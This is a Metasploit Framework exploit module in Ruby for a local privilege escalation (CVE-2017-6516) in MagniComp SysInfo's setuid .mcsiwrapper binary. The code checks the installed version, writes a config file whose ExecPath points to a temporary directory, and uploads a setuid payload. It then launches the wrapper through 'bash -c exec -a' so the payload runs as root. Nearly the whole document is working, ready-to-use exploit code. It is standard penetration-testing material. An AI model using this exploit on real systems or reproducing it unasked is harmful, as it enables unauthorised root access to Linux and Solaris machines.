MagniComp SysInfo - mcsiwrapper Privilege Escalation (Metasploit)

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MagniComp SysInfo mcsiwrapper Privilege Escalation',
      'Description'    => %q{
        This module attempts to gain root privileges on systems running
        MagniComp SysInfo versions prior to 10-H64.

        The .mcsiwrapper suid executable allows loading a config file using the
        '--configfile' argument. The 'ExecPath' config directive is used to set
        the executable load path. This module abuses this functionality to set
        the load path resulting in execution of arbitrary code as root.

        This module has been tested successfully with SysInfo version
        10-H63 on Fedora 20 x86_64, 10-H32 on Fedora 27 x86_64, 10-H10 on
        Debian 8 x86_64, and 10-GA on Solaris 10u11 x86.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Daniel Lawson', # Discovery and exploit
          'Romain Trouve', # Discovery and exploit
          'Brendan Coles'  # Metasploit
        ],
      'DisclosureDate' => 'Sep 23 2016',
      'Platform'       => %w(linux solaris),
      'Arch'           => [ ARCH_X86, ARCH_X64 ],
      'SessionTypes'   => [ 'shell', 'meterpreter' ],
      'Targets'        =>
        [
          [ 'Automatic', { } ],
          [ 'Solaris', { 'Platform' => 'solaris', 'Arch' => ARCH_X86 } ],
          [ 'Linux', { 'Platform' => 'linux', 'Arch' => [ ARCH_X86, ARCH_X64 ]} ]
        ],
      'References'     =>
        [
          [ 'CVE', '2017-6516' ],
          [ 'BID', '96934' ],
          [ 'URL', 'http://www.magnicomp.com/support/cve/CVE-2017-6516.shtml' ],
          [ 'URL', 'https://labs.mwrinfosecurity.com/advisories/magnicomps-sysinfo-root-setuid-local-privilege-escalation-vulnerability/' ],
          [ 'URL', 'https://labs.mwrinfosecurity.com/advisories/multiple-vulnerabilities-in-magnicomps-sysinfo-root-setuid/' ]
        ]
    ))
    register_options(
      [
        OptString.new('SYSINFO_DIR', [ true, 'Path to SysInfo directory', '/opt/sysinfo' ]),
        OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
      ])
  end

  def sysinfo_dir
    datastore['SYSINFO_DIR']
  end

  def check
    unless cmd_exec("test -d #{sysinfo_dir} && echo true").include? 'true'
      vprint_good "Directory '#{sysinfo_dir}' does not exist"
      return CheckCode::Safe
    end
    vprint_good "Directory '#{sysinfo_dir}' exists"

    mcsiwrapper_path = "#{sysinfo_dir}/bin/.mcsiwrapper"
    unless setuid? mcsiwrapper_path
      vprint_error "#{mcsiwrapper_path} is not setuid"
      return CheckCode::Safe
    end
    vprint_good "#{mcsiwrapper_path} is setuid"

    bash_path = cmd_exec 'which bash'
    unless bash_path.start_with?('/') && bash_path.include?('bash')
      vprint_error 'bash is not installed. Exploitation will fail.'
      return CheckCode::Safe
    end
    vprint_good 'bash is installed'

    config_version = cmd_exec "grep ProdVersion= #{sysinfo_dir}/config/mcsysinfo.cfg"
    version = config_version.scan(/^ProdVersion=(\d+-H\d+|\d+-GA)$/).flatten.first
    if version.blank?
      vprint_error 'Could not determine the SysInfo version'
      return CheckCode::Detected
    end
    if Gem::Version.new(version.sub('-H', '.')) >= Gem::Version.new('10.64')
      vprint_error "SysInfo version #{version} is not vulnerable"
      return CheckCode::Safe
    end
    vprint_good "SysInfo version #{version} is vulnerable"

    CheckCode::Vulnerable
  end

  def upload(path, data)
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
    rm_f path
    write_file path, data
    register_file_for_cleanup path
  end

  def mkdir(path)
    vprint_status "Creating '#{path}' directory"
    cmd_exec "mkdir -p #{path}"
    register_dir_for_cleanup path
  end

  def exploit
    check_status = check
    if check_status != CheckCode::Vulnerable && check_status != CheckCode::Detected
      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
    end

    # Set target
    uname = cmd_exec 'uname'
    vprint_status "Operating system is #{uname}"
    if target.name.eql? 'Automatic'
      case uname
      when /SunOS/i
        my_target = targets[1]
      when /Linux/i
        my_target = targets[2]
      else
        fail_with Failure::NoTarget, 'Unable to automatically select a target'
      end
    else
      my_target = target
    end
    print_status "Using target: #{my_target.name}"

    # Check payload
    if (my_target['Platform'].eql?('linux') && payload_instance.name !~ /linux/i) ||
       (my_target['Platform'].eql?('solaris') && payload_instance.name !~ /solaris/i)
      fail_with Failure::BadConfig, "Selected payload '#{payload_instance.name}' is not compatible with target operating system '#{my_target.name}'"
    end

    # Create a working directory
    base_path = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric rand(5..10)}"
    mkdir base_path

    # Write config file
    config_path = "#{base_path}/#{rand_text_alphanumeric rand(5..10)}"
    upload config_path, "ExecPath=#{base_path}"

    # Upload payload
    payload_name = rand_text_alphanumeric rand(5..10)
    payload_path = "#{base_path}/#{payload_name}"
    upload payload_path, generate_payload_exe
    cmd_exec "chmod u+sx '#{payload_path}'"

    print_status 'Executing payload...'

    # Executing .mcsiwrapper directly errors:
    #   Command ".mcsiwrapper" cannot start with `.' or contain `/'.
    # Instead, we execute with bash to replace ARGV[0] with the payload file name
    output = cmd_exec "bash -c \"exec -a #{payload_name} #{sysinfo_dir}/bin/.mcsiwrapper --configfile #{config_path}&\""
    output.each_line { |line| vprint_status line.chomp }
  end
end